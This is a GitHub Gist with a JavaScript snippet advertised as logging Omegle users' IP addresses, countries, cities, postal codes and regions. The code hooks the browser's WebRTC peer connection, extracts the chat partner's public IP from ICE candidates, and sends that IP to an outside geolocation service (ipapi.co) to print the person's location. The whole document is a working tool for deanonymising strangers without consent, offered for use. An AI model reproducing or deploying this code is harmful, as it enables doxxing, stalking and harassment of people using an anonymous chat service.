Created
November 24, 2020 11:28
-
-
Save 1trackprojects1/2a2c50f4eec9bc86b5ee6fd96d8ef9db to your computer and use it in GitHub Desktop.
Log locations of users straight from Omegle! It logs IPs, Countries, Cities, Zipcode and even Regions.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function httpGetAsync(theUrl, callback) { | |
var xmlHttp = new XMLHttpRequest(); | |
xmlHttp.onreadystatechange = function () { | |
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) | |
callback(xmlHttp.responseText); | |
} | |
xmlHttp.open("GET", theUrl, true); | |
xmlHttp.send(null); | |
} | |
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection | |
window.RTCPeerConnection = function (...args) { | |
const pc = new window.oRTCPeerConnection(...args) | |
pc.oaddIceCandidate = pc.addIceCandidate | |
pc.addIceCandidate = function (iceCandidate, ...rest) { | |
const fields = iceCandidate.candidate.split(' ') | |
if (fields[7] === 'srflx') { | |
console.log('-------------------------------------------') | |
console.log('User IP Address:', fields[4]) | |
httpGetAsync('https://ipapi.co/' + fields[4] + '/json/', function success(response) { | |
var response = JSON.parse(response) | |
console.log('User Country:', response.country_name) | |
console.log('User Region:', response.region) | |
console.log('User City:', response.city) | |
console.log('User Postal Code:', response.postal) | |
}) | |
} | |
return pc.oaddIceCandidate(iceCandidate, ...rest) | |
} | |
return pc | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment